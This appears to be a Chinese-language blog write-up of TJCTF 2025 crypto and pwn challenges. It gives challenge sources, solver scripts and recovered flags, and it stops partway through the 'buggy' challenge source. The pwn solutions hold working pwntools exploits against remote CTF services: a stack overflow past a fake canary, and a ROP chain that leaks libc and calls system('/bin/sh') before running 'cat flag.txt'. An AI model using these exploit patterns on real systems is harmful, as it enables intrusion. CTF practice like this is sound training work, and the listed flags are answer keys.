TJCTF 2025

还以为是天津的。这个比较容易,虽然绕了点弯,可还是把CP AK了,不过我会的别人也会,还是没啥名次。记录一下吧。

Crypto

bacon-bits

with open('flag.txt') as f: flag = f.read().strip()
with open('text.txt') as t: text = t.read().strip()

baconian = {
'a': '00000',	'b': '00001',
'c': '00010',	'd': '00011',
'e': '00100',	'f': '00101',
'g': '00110',	'h': '00111',
'i': '01000',    'j': '01000', #ij  j可能是i
'k': '01001',    'l': '01010',
'm': '01011',    'n': '01100',
'o': '01101',    'p': '01110',
'q': '01111',    'r': '10000',
's': '10001',    't': '10010',
'u': '10011',    'v': '10011',  #uv
'w': '10100',	'x': '10101',
'y': '10110',	'z': '10111'}

text = [*text]
ciphertext = ""
for i,l in enumerate(flag):
    if not l.isalpha(): continue
    change = baconian[l]
    ciphertext += "".join([ts for ix, lt in enumerate(text[i*5:(i+1)*5]) if int(change[ix]) and (ts:=lt.upper()) or (ts:=lt.lower())]) #python lazy boolean evaluation + walrus operator

with open('out.txt', 'w') as e:
    e.write(''.join([chr(ord(i)-13) for i in ciphertext]))

把flag通过码表转成2进制位 ,再按2进制把广本转大小写再移位。有个坑是i,j是用的同一个码表,所以后边得猜一下。

a = 'BaV8hcBaTg\`XG[8eXJTfT7h7hCBa4g<`Xg[8EXjTFTWHW8Ba6XHCbATG\`Xg;8eXj4fT7h78bAV8HcBa4G\@XG[XeXJ4fTWHWXBa68hCbA4g<`8G[8e8JTFT7hWXbA6XhcBaTG'
b = ''.join([chr(ord(i)+13) for i in a])
#'OncEupOnatimeThEreWasaDuDuPOnAtImethERewaSadUdEOnCeUPoNaTimetHErewAsaDuDEoNcEUpOnATiMeThereWAsadUdeOnCEuPoNAtImEThErEWaSaDudeoNCeupOnaT'

v = ''.join(['1' if i.isupper() else '0' for i in b])

rb = {}
for i in baconian:
    rb[baconian[i]]=i

flag = ''
for i in range(0,len(v),5):
    flag +=rb[v[i:i+5]]

#tjctfojnkoojnkooojnkoooojnk
#tjctf{oinkooinkoooinkooooink}

alchemist-recipe

 

import hashlib

SNEEZE_FORK = "AurumPotabileEtChymicumSecretum"
WUMBLE_BAG = 8 

def glorbulate_sprockets_for_bamboozle(blorbo):
    zing = {}
    yarp = hashlib.sha256(blorbo.encode()).digest() 
    zing['flibber'] = list(yarp[:WUMBLE_BAG])
    zing['twizzle'] = list(yarp[WUMBLE_BAG:WUMBLE_BAG+16])
    glimbo = list(yarp[WUMBLE_BAG+16:])
    snorb = list(range(256))
    sploop = 0
    for _ in range(256): 
        for z in glimbo:
            wob = (sploop + z) % 256
            snorb[sploop], snorb[wob] = snorb[wob], snorb[sploop]
            sploop = (sploop + 1) % 256
    zing['drizzle'] = snorb
    return zing

def scrungle_crank(dingus, sprockets):
    if len(dingus) != WUMBLE_BAG:
        raise ValueError(f"Must be {WUMBLE_BAG} wumps for crankshaft.")
    zonked = bytes([sprockets['drizzle'][x] for x in dingus]) #查表
    quix = sprockets['twizzle']
    splatted = bytes([zonked[i] ^ quix[i % len(quix)] for i in range(WUMBLE_BAG)])
    wiggle = sprockets['flibber'] 
    waggly = sorted([(wiggle[i], i) for i in range(WUMBLE_BAG)])
    zort = [oof for _, oof in waggly]
    plunk = [0] * WUMBLE_BAG
    for y in range(WUMBLE_BAG):
        x = zort[y]
        plunk[y] = splatted[x]
    return bytes(plunk)

def snizzle_bytegum(bubbles, jellybean):
    fuzz = WUMBLE_BAG - (len(bubbles) % WUMBLE_BAG)
    if fuzz == 0: 
        fuzz = WUMBLE_BAG
    bubbles += bytes([fuzz] * fuzz)   #padding
    glomp = b""
    for b in range(0, len(bubbles), WUMBLE_BAG):
        splinter = bubbles[b:b+WUMBLE_BAG]
        zap = scrungle_crank(splinter, jellybean)
        glomp += zap
    return glomp

def main():
    try:
        with open("flag.txt", "rb") as f:
            flag_content = f.read().strip()
    except FileNotFoundError:
        print("Error: flag.txt not found. Create it with the flag content.")
        return

    if not flag_content:
        print("Error: flag.txt is empty.")
        return

    print(f"Original Recipe (for generation only): {flag_content.decode(errors='ignore')}")

    jellybean = glorbulate_sprockets_for_bamboozle(SNEEZE_FORK)
    encrypted_recipe = snizzle_bytegum(flag_content, jellybean)

    with open("encrypted.txt", "w") as f_out:
        f_out.write(encrypted_recipe.hex())

    print(f"\nEncrypted recipe written to encrypted.txt:")
    print(encrypted_recipe.hex())

if __name__ == "__main__":
    main()

好长的代码,这个命名好长。虽然很恶心,可还得一点点弄,把两个函数逆一下就OK,并不是多难。

jellybean = glorbulate_sprockets_for_bamboozle(SNEEZE_FORK)


def r_scrungle_crank(dingus, sprockets):
    print(dingus.hex())
    #3排序
    wiggle = sprockets['flibber'] 
    waggly = sorted([(wiggle[i], i) for i in range(WUMBLE_BAG)])
    zort = [oof for _, oof in waggly]
    plunk = [0] * WUMBLE_BAG
    for y in range(WUMBLE_BAG):
        x = zort[y]
        plunk[x] = dingus[y]
    print(bytes(plunk).hex())
    #2
    quix = sprockets['twizzle']
    splatted = bytes([plunk[i] ^ quix[i % len(quix)] for i in range(WUMBLE_BAG)])
    print(splatted.hex())
    #1
    zonked = bytes([sprockets['drizzle'].index(x) for x in splatted]) #查表
    print(zonked.hex())
    return bytes(zonked)

def r_snizzle_bytegum(bubbles, jellybean):
    glomp = b""
    for b in range(0, len(bubbles), WUMBLE_BAG):
        splinter = bubbles[b:b+WUMBLE_BAG]
        zap = r_scrungle_crank(splinter, jellybean)
        glomp += zap
    return glomp

bubbles = bytes.fromhex('b80854d7b5920901192ea91ccd9f588686d69684ec70583abe46f6747e940c027bdeaa848ecb316e11d9a99c7e87b09e')
r_snizzle_bytegum(bubbles, jellybean)
#tjctf{thank_you_for_making_me_normal_again_yay}

 theartofwar

这些单词好像都不认识。

from Crypto.Util.number import bytes_to_long, getPrime, long_to_bytes
import time


flag = open('flag.txt', 'rb').read()
m = bytes_to_long(flag)

e = getPrime(8)
print(f'e = {e}')

def generate_key():
    p, q = getPrime(256), getPrime(256)
    while (p - 1) % e == 0:
        p = getPrime(256)
    while (q - 1) % e == 0:
        q = getPrime(256)
    return p * q
    
for i in range(e):
    n = generate_key()
    c = pow(m, e, n)
    print(f'n{i} = {n}')
    print(f'c{i} = {c}')

一个低加密指数的RSA,用CRT求解

cs = [eval(f'c{i}') for i in range(229)]
ns = [eval(f'n{i}') for i in range(229)]
m = crt(cs,ns)
long_to_bytes(iroot(m,e)[0])
#tjctf{the_greatest_victory_is_that_which_require_no_battle}

 seeds

from pwn import *
import time
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

class RandomGenerator:
    def __init__(self, seed = None, modulus = 2 ** 32, multiplier = 157, increment = 1):
        if seed is None: 
            seed = time.asctime()
        if type(seed) is int: 
            self.seed = seed
        if type(seed) is str: 
            self.seed = int.from_bytes(seed.encode(), "big")
        if type(seed) is bytes: 
            self.seed = int.from_bytes(seed, "big")
        self.m = modulus
        self.a = multiplier
        self.c = increment
    
    def randint(self, bits: int):
        self.seed = (self.a * self.seed + self.c) % self.m
        result = self.seed.to_bytes(4, "big")
        while len(result) < bits // 8:
            self.seed = (self.a * self.seed + self.c) % self.m
            result += self.seed.to_bytes(4, "big")
        return int.from_bytes(result, "big") % (2 ** bits)
    
    def randbytes(self, len: int):
        return self.randint(len * 8).to_bytes(len, "big")

用时间作种子就等于告诉了 KEY,直接弄下来即可。

#1--------------------
context.log_level = 'debug'
p = remote('tjc.tf', 31493)

print(time.asctime())
r = RandomGenerator()
key = r.randbytes(32)
print(key)

p.recvline()
print(p.recvline())
p.close()

#2--------------
key = b'\xc7\x8e\xca\x82b\x921\xbbs\xa8\x7f\xb0\xeeVN\xf1*\xeei\xceT6\xe3W\xa5\xa9l\\\x98\xe7tm'
enc = b'I<B\x8f7\x1a\x9d\xba\xcb=Dz8\x97\xe9c\xb7\xaf\x15\x01\xf4\xd9\xd9\xc2\x83jm\x1a\xa2\xda\x10\xb5'
cipher = AES.new(key, AES.MODE_ECB)
cipher.decrypt(enc)
#b'tjctf{h4rv3st_t1me}\n\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c'

close-secrets

 

import random
from random import randint
import sys
from Crypto.Util import number
import hashlib 

def encrypt_outer(plaintext_ords, key):
    cipher = []
    key_offset = key % 256
    for val in plaintext_ords:
        if not isinstance(val, int):
            raise TypeError
        cipher.append((val + key_offset) * key)
    return cipher

def dynamic_xor_encrypt(plaintext_bytes, text_key_bytes):
    encrypted_ords = []
    key_length = len(text_key_bytes)
    if not isinstance(plaintext_bytes, bytes):
        raise TypeError
    for i, byte_val in enumerate(plaintext_bytes[::-1]):
        key_byte = text_key_bytes[i % key_length]
        encrypted_ords.append(byte_val ^ key_byte)
    return encrypted_ords

def generate_dh_key():
    p = number.getPrime(1024)
    g = number.getPrime(1024)
    a = randint(p - 10, p)
    b = randint(g - 10, g)
    u = pow(g, a, p)
    v = pow(g, b, p)
    key = pow(v, a, p)
    b_key = pow(u, b, p)
    if key != b_key:
        sys.exit(1)
    return p, g, u, v, key

def generate_challenge_files(flag_file="flag.txt", params_out="params.txt", enc_flag_out="enc_flag"):
    try:
        with open(flag_file, "r") as f:
            flag_plaintext = f.read().strip()
    except FileNotFoundError:
        sys.exit(1)
    flag_bytes = flag_plaintext.encode('utf-8')
    p, g, u, v, shared_key = generate_dh_key()
    xor_key_str = hashlib.sha256(str(shared_key).encode()).hexdigest()
    xor_key_bytes = xor_key_str.encode('utf-8')
    intermediate_ords = dynamic_xor_encrypt(flag_bytes, xor_key_bytes)
    final_cipher = encrypt_outer(intermediate_ords, shared_key)
    with open(params_out, "w") as f:
        f.write(f"p = {p}\n")
        f.write(f"g = {g}\n")
        f.write(f"u = {u}\n")
        f.write(f"v = {v}\n")
    with open(enc_flag_out, "w") as f:
        f.write(str(final_cipher))

if __name__ == "__main__":
    try:
        with open("flag.txt", "x") as f:
            f.write("tjctf{d3f4ult_fl4g_f0r_t3st1ng}")
    except FileExistsError:
        pass
    generate_challenge_files()

越往后越简单,这个未知变量a的范围太小了,直接爆破出来即可。

for a in range(p-10,p):
    if u == pow(g,a,p):
        break

key = pow(v,a,p) 
xor_key_str = hashlib.sha256(str(key).encode()).hexdigest()
xor_key_bytes = xor_key_str.encode('utf-8')

#key_offset = 0
enc = ...
enc = [i//key for i in enc]

v = xor(bytes(enc),xor_key_bytes)[::-1]
#b"&#(64#5.!m>af['25d0]#i3vqYqa6xf#rtjctf{sm4ll_r4ng3_sh0rt_s3cr3t}"
#tjctf{sm4ll_r4ng3_sh0rt_s3cr3t}

 dotdotdotv2

import numpy as np
import random
import sys

sys.stdin = open("flag.txt", "r")
sys.stdout = open("encoded.txt", "w")

n = 64

filler = "In cybersecurity, a CTF (Capture The Flag) challenge is a competitive, gamified event where participants, either individually or in teams, are tasked with finding and exploiting vulnerabilities in systems to capture hidden information known as flags. These flags are typically used to score points. CTFs test skills in areas like cryptography, web security, reverse engineering, and forensics, offering an exciting way to learn, practice, and showcase cybersecurity expertise.  This flag is for you: "

flag = input()
flag = filler+flag
flag = "".join([bin(ord(i))[2:].zfill(8) for i in flag])
flag = flag + "0"*(n-len(flag)%n)
flag = np.array([list(map(int,list(flag[i:i+n]))) for i in range(0, len(flag), n)])

key = np.array([[random.randint(0,0xdeadbeef) for _ in range(n)] for _ in range(n)])

for i in flag: print(*list(np.dot(i,key)))

矩阵乘法的题,但不大全,前边只能弄到63*64差一个,猜最后一组为}+pad,就够64了,解出key后再用除法得到原文里的flag,不过好像其中差了一位,猜是最后一个字符差1位,手工补上。

#猜padding 7字节
C = matrix(ZZ, c[:63]+c[-1:])
C2 = matrix(ZZ,c)
if 1:
      flag = filler+'tjct'+'}'+chr(0)*7
      flag = "".join([bin(ord(i))[2:].zfill(8) for i in flag])
      flag = [[int(i) for i in flag[i:i+n]] for i in range(0, len(flag), n)]
      m = matrix(ZZ,flag)
      try: 
          key = m.solve_right(C)
          m2 = C2/key
          v = ''
          for i in m2:
              for j in i:
                  v+=str(j)
          m3 = ''.join([chr(int(v[i:i+8],2)) for i in range(0,len(v),8)])
          print(m3.encode())
      except:
          pass


#b'In cybeRsecuritY, a CTF\x00(CapturE The FlAg) chalLenge is\x00a compeTitive, Gamified\x00event wHere parTicipantS, eitheR indiviDually oR in teaMs, are Tasked wIth findIng and ExploitiNg vulneRabilitiEs in syStems to\x00capture\x00hidden InformatIon knowN as flaGs. ThesE flags Are typiCally usEd to scOre poinTs. CTFs\x00test skIlls in Areas liKe cryptOgraphy,\x00web secUrity, rEverse eNgineeriNg, and ForensicS, offerIng an eXciting Way to lEarn, prActice, And showCase cybErsecuriTy experTise.  THis flag\x00is for You: tjcTf{us3fu\x128931295\x13}\x00\x00\x00\x00\x00\x00\x00'
#第8字节第3位                            v         v
tjcTf{us3fu\x128931295\x13} #第3位加1  01010100->01110100
tjctf{us3fu289312953}

 pseudo-secure

#!/usr/local/bin/python
import random
import base64
import sys
import select

class User:
    def __init__(self, username):
        self.username = username
        self.key = self.get_key()
        self.message = None
    
    def get_key(self):
        username = self.username
        num_bits = 8 * len(username)
        rand = random.getrandbits(num_bits)
        print(rand)
        rand_bits = bin(rand)[2:].zfill(num_bits)
        username_bits = ''.join([bin(ord(char))[2:].zfill(8) for char in username])
        xor_bits = ''.join([str(int(rand_bits[i]) ^ int(username_bits[i])) for i in range(num_bits)])
        xor_result = int(xor_bits, 2)
        shifted = ((xor_result << 3) & (1 << (num_bits + 3)) - 1) ^ 0x5A
        byte_data = shifted.to_bytes((shifted.bit_length() + 7) // 8, 'big')
        key = base64.b64encode(byte_data).decode('utf-8')
        return key
    
    def set_message(self, message):
        self.message = message

def input_with_timeout(prompt="", timeout=10):
    sys.stdout.write(prompt)
    sys.stdout.flush()
    ready, _, _ = select.select([sys.stdin], [], [], timeout)
    if ready:
        return sys.stdin.buffer.readline().rstrip(b'\n')
    raise Exception
input = input_with_timeout

flag = open("flag.txt").read()

assert len(flag)%3 == 0
flag_part1 = flag[:len(flag)//3]
flag_part2 = flag[len(flag)//3:2*len(flag)//3]
flag_part3= flag[2*len(flag)//3:]

admin1 = User("Admin001")
admin2 = User("Admin002")
admin3 = User("Admin003")
admin1.set_message(flag_part1)
admin2.set_message(flag_part2)
admin3.set_message(flag_part3)
user_dict = {
    "Admin001": admin1,
    "Admin002": admin2,
    "Admin003": admin3
}

print("Welcome!")
logged_in = None
user_count = 3 
MAX_USERS = 200

while True:
    if logged_in is None:
        print("\n\n[1] Sign-In\n[2] Create Account\n[Q] Quit")
        inp = input().decode('utf-8').strip().lower()
        match inp:
            case "1":
                username = input("Enter your username:  ").decode('utf-8')
                if username in user_dict:
                    user = user_dict[username]
                    key = input("Enter your sign-in key: ").decode('utf-8')
                    if key == user.key:
                        logged_in = user
                        print(f"Logged in as {username}")
                    else:
                        print("Incorrect key. Please try again!")
                else:
                    print("Username not found. Please try again or create an account.")
            case "2":
                if user_count >= MAX_USERS:
                    print("Max number of users reached. Cannot create new account.")
                else:
                    username = input("Select username:  ").decode('utf-8')
                    if username in user_dict:
                        print(f"Username '{username}' is already taken!")
                    else:
                        user_dict[username] = User(username)
                        user_count += 1 
                        print(f"Account successfully created!\nYour sign-in key is: {user_dict[username].key}")
            case "q":
                sys.exit()
            case _:
                print("Invalid option. Please try again.")
    else:
        print(f"Welcome, {logged_in.username}!")
        print("\n\n[1] View Message\n[2] Set Message\n[L] Logout")
        inp = input().decode('utf-8').strip().lower()
        match inp:
            case "1":
                print(f"Your message: {logged_in.message}")
            case "2":
                new_message = input("Enter your new message: ").decode('utf-8')
                logged_in.set_message(new_message)
                print("Message updated successfully.")
            case "l":
                print(f"Logged out from {logged_in.username}.")
                logged_in = None
            case _:
                print("Invalid option. Please try again.")

python伪随机数预测的题,只需要输入一个足够长的用户名,得到加密用的随机数就能恢复前边的密码。

from pwn import *
from extend_mt19937_predictor import ExtendMT19937Predictor
from base64 import b64decode 
from Crypto.Util.number import bytes_to_long
context.log_level = 'debug'

class User:
    def __init__(self, username):
        self.username = username
        self.message = None
    
    def get_key(self, rand):
        username = self.username
        num_bits = 8 * len(username)
        #rand = random.getrandbits(num_bits)
        rand_bits = bin(rand)[2:].zfill(num_bits)
        username_bits = ''.join([bin(ord(char))[2:].zfill(8) for char in username])
        xor_bits = ''.join([str(int(rand_bits[i]) ^ int(username_bits[i])) for i in range(num_bits)])
        xor_result = int(xor_bits, 2)
        shifted = ((xor_result << 3) & (1 << (num_bits + 3)) - 1) ^ 0x5A
        byte_data = shifted.to_bytes((shifted.bit_length() + 7) // 8, 'big')
        key = base64.b64encode(byte_data).decode('utf-8')
        return key
    
    def set_message(self, message):
        self.message = message


p = remote('tjc.tf', 31400)

p.sendlineafter(b"[Q] Quit", b'2')
p.sendlineafter(b"Select username:  ", b'A'*624*4)
p.recvuntil(b"key is: ")
key = b64decode(p.recvline().strip().decode())
print(key.hex())
'''
>>> a = User('abcdefgh')
13741322219964608806
>>> b = base64.b64decode(a.key)
>>> c = bytes_to_long(b)
>>> ((c^0x5a)>>3)^bytes_to_long(b'abcdefgh')
13741322219964608806
'''

key = ((bytes_to_long(key)^0x5A)>>3)^bytes_to_long(b'A'*624*4)


predictor = ExtendMT19937Predictor()
predictor.setrandbits(key, 32*624)
_ = [predictor.backtrack_getrandbits(32) for i in range(624)]

rs = [predictor.backtrack_getrandbits(64) for i in range(3)]
ns = [User("Admin003"),User("Admin002"),User("Admin001")]
ks = [ns[i].get_key(rs[i]) for i in range(3)]

for i in range(3):
    p.sendlineafter(b"[Q] Quit", b'1')
    p.sendlineafter(b"Enter your username:  ", ns[i].username.encode())
    p.sendlineafter(b"Enter your sign-in key: ", ks[i].encode())
    p.sendlineafter(b"Logout", b'1')
    p.sendlineafter(b"Logout", b'l')

p.close()


#tjctf{1_gu3ss_h1nds1ght_15_20/20}

 double-trouble

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import random

def gen():
    myrandom = random.Random(42)
    k1 = myrandom.randbytes(8)
    choices = list(myrandom.randbytes(6))
    print(bytes(choices))
    k2 = b''
    for _ in range(8):
        k2 += bytes([choices[random.randint(0, 3)]])
    return k1, k2

def enc(data, k1, k2,  k3, k4):
    key1 = k1+k2
    cipher = AES.new(key1, mode=AES.MODE_ECB)
    ct1 = cipher.encrypt(pad(data, 16))
    key2 = k4+k3
    cipher = AES.new(key2, mode=AES.MODE_ECB)
    ct2 = cipher.encrypt(ct1)
    return ct2

k1, k2 = gen()
k3, k4 = gen()

pt = b"example"

with open('flag.txt') as f:
    flag = f.read().encode()

with open('out.txt', "w") as f:
    f.write(enc(pt, k1, k2, k3, k4).hex())
    f.write("\n")
    f.write(enc(flag, k1, k2, k3, k4).hex())

最后出的题差点漏了。其中k1,k3是已知的,k2,k4是通过一个固定值取的随机8位4选1*8,所以爆破一下不难,用的MITM。16+16

k1 = k3 = b'\x9dy\xb1\xa3\x7f1\x80\x1c'
choices = b'\xd1\x1ag\x06\xd6\xbd'[:4]

dic = [bytes(i) for i in itertools.product(choices,repeat=8)]
m1 = pad(b"example",16)
c1 = bytes.fromhex('7125383e330c692c75e0ee0886ec7779')
mitm_l = {}
for k2 in dic:
    key1 = k1+k2
    cipher = AES.new(key1, mode=AES.MODE_ECB)
    ct1 = cipher.encrypt(m1)
    mitm_l[ct1] = k2

for k4 in dic:
    key2 = k4+k3
    cipher = AES.new(key2, mode=AES.MODE_ECB)
    m2 = cipher.decrypt(c1)
    if m2 in mitm_l:
        print('k2 = ', mitm_l[m2], '\nk4 = ', k4)
        break

k2 =  b'\x1a\x1a\x1a\x1agg\x1a\x06'
k4 =  b'\x1ag\x1a\x1a\x06\xd1\x1a\x1a'

c2 = bytes.fromhex('9ecba853742db726fb39e748a0c5cfd06b682c8f15be13bc8ba2b2304897eca2')
key2 = k4+k3
cipher = AES.new(key2, mode=AES.MODE_ECB)
m2 = cipher.decrypt(c2)
key1 = k1+k2
cipher = AES.new(key1, mode=AES.MODE_ECB)
m = cipher.decrypt(m2)
#tjctf{m33t_in_th3_middl3}

 

PWN

i-love-birds

#include <stdio.h>
#include <stdlib.h>

void gadget() {
    asm("push $0x69;pop %rdi");
}


void win(int secret) {
    if (secret == 0xA1B2C3D4) {
        system("/bin/sh");
    }
}


int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

    unsigned int canary = 0xDEADBEEF;

    char buf[64];

    puts("I made a canary to stop buffer overflows. Prove me wrong!");
    gets(buf);

    if (canary != 0xDEADBEEF) {
        puts("No stack smashing for you!");
        exit(1);
    }


    return 0;
}

手工作的canary,已知

from pwn import *
context(arch='amd64', log_level='debug')

p = remote('tjc.tf', 31625)

p.sendlineafter(b"\n", b'\0'*0x4c+p32(0xDEADBEEF)+flat(0,0x4011c0, 0xA1B2C3D4,0, 0x4011c4))


p.sendline(b'cat flag.txt')

p.interactive()
#tjctf{1_gu355_y0u_f0und_th3_f4ke_b1rd_ch1rp_CH1rp_cH1Rp_Ch1rP_ch1RP}

extra-credit

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>

#define MAX_LEN 32
#define FLAG_FILE "./flag.txt"
#define FLAG_SIZE 256

const char *SECRET = "[REDACTED]";

void changeGrade() {
    char buf[FLAG_SIZE];
    memset(buf, 0, FLAG_SIZE);
    FILE *f = fopen(FLAG_FILE, "r");
    if (f == NULL) {
        printf("Missing flag file. \n");
    } else {
        fgets(buf, FLAG_SIZE, f);
        printf("\n");
        printf("Whose grade would you like to change?");
        printf("\n");
        write(STDOUT_FILENO, buf, strlen(buf));
        printf("\n");
    }
    exit(0);
}

void accessMemory() {
    struct timespec ts = {.tv_sec = 0, .tv_nsec = 5000000};
    nanosleep(&ts, NULL);
}

void authenticateTeacher() {
    char input[MAX_LEN];
    printf("\n[TEACHER VIEW] Enter your password [a-z, 0-9]:");
    scanf("%31s", input);

    for (int i = 0; i < strlen(SECRET); i++) {
        accessMemory();
        if (input[i] != SECRET[i]) break;
        accessMemory();
    }

    if (strcmp(input, SECRET) == 0) {
        printf("\nAccess granted.\n");
        changeGrade();
    } else {
        printf("\nInvalid password!\n");
    }
}

void showGrade(int id) {
    switch ((short)id) {
        case 1: printf("Phineas: A+\n"); break;
        case 2: printf("Ferb: A\n"); break;
        case 3: printf("Candace: B+\n"); break;
        case 4: printf("Buford: C\n"); break;
        case 5: printf("Baljeet: A+\n"); break;
        case 6: printf("Isabella: A\n"); break;
        case 7: printf("Perry: P\n"); break;
        case 8: printf("Doofenshmirtz: D\n"); break;
        case 9: printf("Jeremy: B\n"); break;
        case 10: printf("Vanessa: A-\n"); break;
        case 0x0BEE:
            printf("\nAccessing teacher view...\n");
            authenticateTeacher();
            break;
        default:
            printf("Unknown student ID.\n");
    }
}

int main() {
    setvbuf(stdin,  NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    int id;
    printf("Welcome to the Tri-State Grade Viewer\n");
    printf("Enter your student ID: ");

    if (scanf("%d", &id) != 1 || id > 10) {
        printf("Invalid student ID.\n");
        int ch;
        while ((ch = getchar()) != '\n' && ch != EOF);
        exit(0);
    }
    
    showGrade(id);
    return 0;
}

明显是个侧信道,可是两次时间差是0.01秒,但远程的误差是0.2秒多,所以爆破不出来,然后猜会不会给的程序就是真的运行的程序呢,那密码就已知了,一试成。

from pwn import *
import time
context(arch='amd64', log_level='debug')

def sss(head, t):
    #p = process('./gradeViewer')
    p = remote('tjc.tf', 31624)
    p.sendlineafter(b"Enter your student ID: ", str(0x80000bee).encode())
    p.sendlineafter(b"[a-z, 0-9]:", head.encode())
    p.recvuntil(b"\nInvalid password!\n", timeout=30)
    p.interactive()

sss('f1shc0de',0)
#tjctf{th4nk_y0u_f0r_sav1ng_m3y_grade}

city-planning

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>

typedef struct {
    char name[32];
    int numAcres;
    int coordinates[2];
} buildingPlan;

typedef struct {
    int numAcres;
    int coordinates[2];
    int entryCode[8];
} HQPlan;

bool approvePlan(buildingPlan *plan) {
    if (plan->numAcres >= 10) {
        free(plan);
        plan = NULL;
        return false;
    }
    if (plan->coordinates[0] >= 200 || plan->coordinates[1] >= 200) {
        free(plan);
        plan = NULL;
        return false;
    }
    return true;
}

bool approveHQ(HQPlan *plan) {
    if (plan->numAcres >= 100) {
        free(plan);
        plan = NULL;
        return false;
    }
    if (plan->coordinates[0] >= 50 || plan->coordinates[1] >= 50) {
        free(plan);
        plan = NULL;
        return false;
    }
    return true;
}

int main() {
    char buf[32];

    setbuf(stdout, NULL);

    HQPlan *superSecretHQ = malloc(sizeof(HQPlan));
    superSecretHQ->numAcres = rand() % 100 + 10;
    superSecretHQ->coordinates[0] = rand() % 150 + 50;
    superSecretHQ->coordinates[1] = rand() % 150 + 50;
    for (int i = 0; i < 8; i++) {
        superSecretHQ->entryCode[i] = rand() % 100;
    }
    approveHQ(superSecretHQ); #10%概率会被free掉

    printf("Welcome to the city planner! You are allowed to plan one building for the city\n");
    buildingPlan *currentBuilding = malloc(sizeof(buildingPlan));

    printf("Enter the name of your building: ");
    fgets(buf, 32, stdin);
    memcpy(currentBuilding->name, buf, 32);

    printf("Enter the size of your building (in acres): ");
    fgets(buf, 32, stdin);
    currentBuilding->numAcres = atoi(buf);

    printf("Enter the east-west coordinate or your building (miles east of the city center): ");
    fgets(buf, 32, stdin);
    currentBuilding->coordinates[0] = atoi(buf);
    printf("Enter the north-south coordinate or your building (miles north of the city center): ");
    fgets(buf, 32, stdin);
    currentBuilding->coordinates[1] = atoi(buf);

    if (!approvePlan(currentBuilding)) {
        printf("Your building was not approved :(\n");
        return 1;
    }

    printf("Your building was approved! Construction will begin within the next 27 years\n\n");
    printf("Since your building was approved, you must be a great architect.\n");
    printf("Because of this, we'd like to invite you to join the Super Secret Architect's Guild!\n");
    printf("To join the guild, all you have to do is find the planned coordinates of our headquarters\n");

    int guess[2];
    printf("Enter the east-west coordinate: ");
    fgets(buf, 32, stdin);
    guess[0] = atoi(buf);

    printf("Enter the north-south coordinate: ");
    fgets(buf, 32, stdin);
    guess[1] = atoi(buf);

    if (guess[0] != superSecretHQ->coordinates[0] || guess[1] != superSecretHQ->coordinates[1]) {
        printf("Incorrect guess\n");
        return 1;
    } 

    printf("Correct! Welcome to the guild!");

    FILE *flagFile = fopen("flag.txt", "r");
    char flag[32];
    fgets(flag, 32, flagFile);

    printf("Here is the password to enter guild HQ: %s", flag);
    return 0;
}

很长的代码其实都没有用,先生成个密码然后有一定概率被free掉再生成块形成覆盖就能得到覆盖掉密码

from pwn import *
context(arch='amd64', log_level='debug')

p = remote('tjc.tf', 31489)

p.sendlineafter(b"Enter the name of your building: ",b'\0'*30)
p.sendline(b'0')
p.sendline(b'0')
p.sendline(b'0')

p.sendline(b'0')
p.sendline(b'0')

p.interactive()
#tjctf{a_tru3_4rchit3ct_2erg4b5}

wrong-warp

代码很乱,菜单来回套,其中有一个有溢出。直接去溢出就行了。

from pwn import *
import time
context(arch='amd64', log_level='debug')

elf = ELF('./heroQuest')

#p = process('./heroQuest')
#gdb.attach(p, "b*0x40141f\nc")
p = remote('tjc.tf', 31365)

p.sendlineafter(b"First, enter the name for your save file! ",b'/bin/sh\0') #0x4040a0
p.sendlineafter(b"You can go (n)orth, (e)ast, (s)outh, or (w)est. ",b' w')
p.sendlineafter(b"Options: (a)sk about the castle, (f)ight villagers, (r)est at the inn to save, or (g)o back ", b' r')

#p.sendline(b'')
save = elf.sym['save']
pop_rdi = 0x00000000004017ab # pop rdi ; ret
p.sendlineafter(b'You decide to take a rest. Enter the name for your save file: ', flat(b'a'*0x20, 0, pop_rdi, 0x404018, elf.plt['puts'], save))
libc_base = u64(p.recvline()[:-1]+b'\0\0') - 0x87be0
print(hex(libc_base))

system = libc_base + 0x58750
p.sendline(flat(b'a'*0x20, 0, pop_rdi+1, pop_rdi, 0x4040a0, system))
p.interactive()
#tjctf{up_up_d0wn_d0wn_l3ft_r1ght_l3ft_r1ght_b_a}

buggy

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>


#define DEBUG true

int main(int argc, char **argv) {
    char inputBuffer[1024];
    unsigned int balance = 50;
    
    setbuf(stdout, NULL);

    if (DEBUG) {
        printf("%p, %p\n", &inputBuffer, &balance);
    }

    puts("Welcome to TJ Bank!");
    while (true) {
        printf("What would you like to do? (view balance|deposit|withdraw|transfer|exit) ");
        fgets(inputBuffer, 1024, stdin);
        if (strcmp(inputBuffer, "view balance\n") == 0) {
            printf("Your balance is $%u\n", balance);
        } else if (strcmp(inputBuffer, "deposit\n") == 0) {
            printf("Enter amount: ");
            fgets(inputBuffer, 1024, stdin);
            if (DEBUG) {
                printf(inputBuffer); //-----------------------
            }
            int amount = atoi(inputBuffer);
            balance += amount;
            printf("$%u added to account\n", amount);
        } else if (strcmp(inputBuffer, "withdraw\n") == 0) {
            printf("Enter amount: ");
            fgets(inputBuffer, 1024, stdin);
            if (DEBUG) {
                printf(inputBuffer);
            }
            int amount = atoi(inputBuffer);
            if (amount > balance) {
                puts("Balance too low to continue. Aborting.");
                continue;
            }
            balance -= amount;
            printf("$%u removed from account\n", amount);
        } else if (strcmp(inputBuffer, "transfer\n") == 0) {
            printf("Enter account number for transfer: ");
            fgets(inputBuffer, 1024, stdin);
            int accountNumber = atoi(inputBuffer);
            printf("Enter amount: ");
            fgets(inputBuffer, 1024, stdin);
            int amount = atoi(inputBuffer);
            if (amount > balance) {
                puts("Balance too low to continue. Aborting.");
                continue;
            }
            balance -= amount;
            printf("$%u transferred to account number %u\n", amount, accountNumber);
        } else if (strcmp(inputBuffer, "exit\n") == 0) {
            break;
        } else {
